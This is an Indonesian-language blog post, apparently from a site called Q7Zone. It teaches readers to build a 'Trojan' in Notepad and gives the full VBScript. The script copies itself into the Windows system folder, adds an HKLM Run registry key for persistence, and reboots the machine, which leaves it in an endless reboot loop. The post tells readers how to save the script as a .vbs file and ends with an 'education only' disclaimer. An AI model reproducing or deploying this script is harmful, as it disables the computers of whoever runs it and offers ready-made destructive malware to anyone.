Notepad Code | Virus trojan break komputer

Q7Zone - Ada cara yang mudah dalam membuat virus. salah satu diantarannya dengan menggunakan notepad. aplikasi dari windows ini mampu membuat beberapa virus dengan code code tertentu yang akan membuat komputer anda terserang berbagai macam virus.

berikut ini adalah code membuat virus dengan menggunakan notepad.Virus trojan break komputer

PERSIAPAN

1.Buka Aplikasi Notepad, dengan cara > start > run > tulis pada kotak run : notepad setelah itu enter

2.setelah notepad terbuka, selanjutnya ketik code dibawah ini:

rem - dlRB "DL Reboot" Trojan script by Q7Zone.tk

On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)

createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"

sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub

set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")

set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close

rebootSystem()

function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function

function rebootSystem()
strComputer = "."

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")

Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")

For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function

setelah itu simpan semua code diatas dengan extensi .vbs

format penyimpanan

File name           : Nama virus anda .vbs
Save as type      : All Files
Encoding            : ANSI

sekian Artikel dari Q7Zone, dan jangan lupa baca artikel artikel lainnya. semoga artikel ini bermanfaat.

Notice : use with your own risk, we do not take any responsibility with all the things you do. because this is just Education only, not for crimes. by Q7Zone.tk